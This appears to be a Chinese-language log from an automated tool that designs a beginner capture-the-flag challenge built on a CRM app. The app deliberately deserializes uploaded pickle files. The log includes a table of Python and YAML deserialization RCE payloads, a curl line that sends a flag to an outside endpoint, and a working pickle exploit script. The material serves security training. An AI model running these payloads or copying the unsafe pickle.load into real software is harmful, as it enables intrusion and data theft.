# 阶段4：知识整理
[2026-01-08 14:07:38] [STAGE] [Augment] 🎯 [阶段 3] 阶段 3

## 可借鉴技巧清单

| 技巧 | 来源 | 代码片段 | 适用场景 |
|------|------|---------|---------|
| pickle.dumps + __reduce__ RCE | Bottle Poem.md | `class PickleRce: def __reduce__(self): return eval, ("os.system('cmd')",)` | Python Web Cookie |
| pickle.loads 反序列化触发 | File Store.md | `pickle.load(f)` 直接加载文件 | Flask Session |
| Base64 编码 pickle payload | Jar.md | `base64.urlsafe_b64encode(pickle.dumps(RCE()))` | Cookie 传输 |
| os.system 命令执行 | Jar.md | `return os.system, (cmd,)` | RCE payload |
| curl 外带数据 | Jar.md | `curl endpoint/$(echo $FLAG)` | Flag 外带 |
| 文件写入 Flag | File Store.md | `os.system("cat /flag.txt > /app/static/uploads/flag.txt")` | 无外网环境 |
| Session Cookie 控制路径 | File Store.md | `session.sid` 控制上传路径 | Flask Session |
| YAML 反序列化 | Homedrive.md | `!python/object/apply:os.system ["cmd"]` | YAML 配置 |
| np.load allow_pickle | Paddle.md | `np.load(byte_data, allow_pickle=True)` | NumPy 反序列化 |
| 环境变量读取 Flag | Jar.md | `echo $FLAG` | Docker 环境 |

**关键发现**：
1. **pickle.dumps + __reduce__** 是最常见的 Python 反序列化利用方式
2. **Base64 编码**用于在 Cookie/HTTP 中传输二进制 pickle 数据
3. **os.system** 是最简单的命令执行方式
4. **文件写入**适合入门难度（无需外网）
5. **Flask Session** 常用 pickle 存储，是天然的反序列化入口

# 阶段5：题目设计
[2026-01-08 14:07:38] [STAGE] [Augment] 🎯 [阶段 4] 阶段 4

## 5.1 设计目标

- **差异度**：≥20%（使用 CRM 客户数据导出场景，区别于常见的 Session/Cookie）
- **深度**：2.0/10（入门级，信息收集 1 + 反序列化利用 1）
- **趣味性**：1 个啊哈时刻（发现数据导出功能使用 pickle）

[2026-01-08 14:07:38] [INFO] [Augment] [已处理 200 行]
## 5.2 利用链设计

| 步骤 | 类型 | 技术点 | 深度 | 知识来源 |
|------|------|--------|------|---------|
| Step 1 | 信息收集 | 发现客户数据导出功能 | 1/10 | 原创 |
| Step 2 | 漏洞利用 | 上传恶意 pickle 文件触发反序列化 | 2/10 | Jar.md + File Store.md |

## 5.3 核心代码预写

### 漏洞触发代码（真实代码）

❌ **安全写法**（不能触发）：
```python
import json
with open(filepath, 'r') as f:
    data = json.load(f)
```

✅ **漏洞写法**（能触发）：
```python
import pickle
with open(filepath, 'rb') as f:
    data = pickle.load(f)
```

### exp 核心代码（真实代码）

```python
import pickle
import requests

class RCE:
    def __reduce__(self):
        import os
        cmd = 'cat /flag.txt > /app/static/flag.txt'
        return os.system, (cmd,)

payload = pickle.dumps(RCE())
files = {'file': ('customers.pkl', payload)}
r = requests.post(f'{url}/import', files=files)
flag = requests.get(f'{url}/static/flag.txt').text
print(flag)
```

### 依赖清单
```
Flask==2.0.3
Werkzeug==2.0.3
```

## 5.3.1 代码可运行性自检

1. **导入完整吗？** ✅ pickle, os, Flask 相关模块都有导入
2. **路由正确吗？** ✅ `/import` 接收文件上传，`/static/flag.txt` 读取结果
3. **参数名一致吗？** ✅ 都使用 `file` 作为文件上传参数
4. **响应格式对吗？** ✅ 直接读取静态文件内容

## 5.4 简易 exp 草稿

```python
import pickle
import requests

url = "http://localhost:42555"

class RCE:
    def __reduce__(self):
        import os
        cmd = 'cat /flag.txt > /app/static/flag.txt'
        return os.system, (cmd,)

payload = pickle.dumps(RCE())
files = {'file': ('customers.pkl', payload)}
r = requests.post(f'{url}/import', files=files)
print(f"Import response: {r.status_code}")

flag_response = requests.get(f'{url}/static/flag.txt')
print(f"Flag: {flag_response.text}")
```

## 5.5 设计摘要

```
### 设计摘要
- 题目名称：CRM客户管理
- 利用链：发现导入功能 -> 上传恶意 pickle 文件
- 黑名单：无
- 关键 payload：pickle.dumps(RCE()) with __reduce__
- 容器端口：42555

## 题目信息总结

**题目名称**: CRM客户管理

**难度**: 入门

**漏洞类型**: Python反序列化

**应用场景**: CRM系统

**容器端口**: 42555

**利用链**:
1. 发现客户数据导出功能（.pkl 文件）
2. 上传恶意 pickle 文件触发反序列化漏洞

**关键技术点**:
- pickle.load() 反序列化漏洞
- __reduce__ 魔术方法利用
- os.system 命令执行

## 验证结果

✅ Docker 容器成功构建并启动
✅ Web 服务正常运行（端口 42555）
✅ 前端页面正常显示
✅ exp.py 成功获取 Flag 并输出 "Pass!"
✅ writeup.md 完整记录解题步骤

## 使用说明

### 启动题目环境
```bash
cd output/20260108_140739_CRM客户管理/docker
docker-compose up -d --build
```

### 运行 exploit
```bash
cd output/20260108_140739_CRM客户管理
python3 exp.py localhost 42555 test12345
```

### 停止环境
```bash
cd output/20260108_140739_CRM客户管理/docker
docker-compose down
```

## 题目特色

1. **真实场景**: 模拟企业 CRM 系统的数据导入导出功能
2. **隐蔽性强**: 漏洞隐藏在正常的业务功能中
3. **入门友好**: 利用链简单清晰，适合初学者
4. **无需外网**: Flag 写入静态文件，无需外带
5. **差异化设计**: 区别于常见的 Session/Cookie 反序列化场景
